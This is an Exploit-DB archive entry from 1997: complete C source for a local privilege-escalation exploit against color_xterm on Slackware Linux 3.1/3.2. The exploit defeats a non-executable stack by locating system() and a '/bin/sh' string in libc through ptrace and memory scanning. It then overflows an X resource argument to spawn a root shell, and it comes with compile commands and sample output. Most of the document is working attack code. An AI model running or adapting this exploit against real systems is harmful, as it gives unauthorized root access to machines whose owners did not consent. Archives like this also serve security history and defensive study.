Exploit-DB #19286
Description: Slackware Linux 3.1/3.2 - 'color_xterm' Local Buffer Overflow (2)
Type: local
Platform: linux
Date: 1997-05-27
Author: Solar Designer

Exploit:
/*
source: https://www.securityfocus.com/bid/369/info
 
In Slackware Linux 3.1 and 3.2, the version of color xterm included is vulnerable to a buffer overflow attack that allows for a local user to gain root access. 
*/

/*
 * color_xterm   buffer    overflow   exploit   for   Linux   with
 * non-executable stack
 * Copyright (c) 1997 by Solar Designer
 *
 * Compile:
 * gcc cx.c -o cx -L/usr/X11/lib \
 * `ldd /usr/X11/bin/color_xterm | sed -e s/^.lib/-l/ -e s/\\\.so.\\\+//`
 *
 * Run:
 * $ ./cx
 * system() found at: 401553b0
 * "/bin/sh" found at: 401bfa3d
 * bash# exit
 * Segmentation fault
 */

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>

#define SIZE1           1200    /* Amount of data to overflow with */
#define ALIGNMENT1      0       /* 0..3 */
#define OFFSET          22000   /* Structure array offset */
#define SIZE2           16000   /* Structure array size */
#define ALIGNMENT2      5       /* 0, 4, 1..3, 5..7 */
#define SIZE3           SIZE2
#define ALIGNMENT3      (ALIGNMENT2 & 3)

#define ADDR_MASK       0xFF000000

char buf1[SIZE1], buf2[SIZE2 + SIZE3], *buf3 = &buf2[SIZE2];
int *ptr;

int pid, pc, shell, step;
int started = 0;
jmp_buf env;

void handler() {
  started++;
}

/* SIGSEGV handler, to search in libc */
void fault() {
  if (step < 0) {
/* Change the search direction */
    longjmp(env, 1);
  } else {
/* The search failed in both directions */
    puts("\"/bin/sh\" not found, bad luck");
    exit(1);
  }
}

void error(char *fn) {
  perror(fn);
  if (pid > 0) kill(pid, SIGKILL);
  exit(1);
}

int nz(int value) {
  if (!(value & 0xFF)) value |= 8;
  if (!(value & 0xFF00)) value |= 0x100;

  return value;
}

void main() {
/*
 * A portable way to get the stack pointer value; why do other exploits use
 * an assembly instruction here?!
 */
  int sp = (int)&sp;

  signal(SIGUSR1, handler);

/* Create a child process to trace */
  if ((pid = fork()) < 0) error("fork");

  if (!pid) {
/* Send the parent a signal, so it starts tracing */
    kill(getppid(), SIGUSR1);
/* A loop since the parent may not start tracing immediately */
    while (1) system("");
  }

/* Wait until the child tells us the next library call will be system() */
  while (!started);

  if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");

/* Single step the child until it gets out of system() */
  do {
    waitpid(pid, NULL, WUNTRACED);
    pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
    if (pc == -1) error("PTRACE_PEEKUSR");
    if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  } while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));

/* Single step the child until it calls system() again */
  do {
    waitpid(pid, NULL, WUNTRACED);
    pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
    if (pc == -1) error("PTRACE_PEEKUSR");
    if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  } while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));

/* Kill the child, we don't need it any more */
  if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
  pid = 0;

  printf("system() found at: %08x\n", pc);

/* Let's hope there's an extra NOP if system() is 256 byte aligned */
  if (!(pc & 0xFF))
  if (*(unsigned char *)--pc != 0x90) pc = 0;

/* There's no easy workaround for these (except for using another function) */
  if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {
    puts("Zero bytes in address, bad luck");
    exit(1);
  }

/*
 * Search for a "/bin/sh" in libc until we find a copy with no zero bytes
 * in its address. To avoid specifying the actual address that libc is
 * mmap()ed to we search from the address of system() in both directions
 * until a SIGSEGV is generated.
 */
  if (setjmp(env)) step = 1; else step = -1;
  shell = pc;
  signal(SIGSEGV, fault);
  do
    while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
  while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
  signal(SIGSEGV, SIG_DFL);

  printf("\"/bin/sh\" found at: %08x\n", shell);

/* buf1 (which we overflow with) is filled with pointers to buf2 */
  memset(buf1, 'x', ALIGNMENT1);
  ptr = (int *)(buf1 + ALIGNMENT1);
  while ((char *)ptr < buf1 + SIZE1 - sizeof(int))
    *ptr++ = nz(sp - OFFSET);           /* db */
  buf1[SIZE1 - 1] = 0;

/* buf2 is filled with pointers to "/bin/sh" and to buf3 */
  memset(buf2, 'x', SIZE2 + SIZE3);
  ptr = (int *)(buf2 + ALIGNMENT2);
  while ((char *)ptr < buf2 + SIZE2) {
    *ptr++ = shell;                     /* db->mbstate */
    *ptr++ = nz(sp - OFFSET + SIZE2);   /* db->methods */
  }

/* buf3 is filled with pointers to system() */
  ptr = (int *)(buf3 + ALIGNMENT3);
  while ((char *)ptr < buf3 + SIZE3 - sizeof(int))
    *ptr++ = pc;                        /* db->methods->mbfinish */
  buf3[SIZE3 - 1] = 0;

/* Put buf2 and buf3 on the stack */
  setenv("BUFFER", buf2, 1);

/* GetDatabase() in libX11 will do (*db->methods->mbfinish)(db->mbstate) */
  execl("/usr/X11/bin/color_xterm", "color_xterm", "-xrm", buf1, NULL);
  error("execl");
}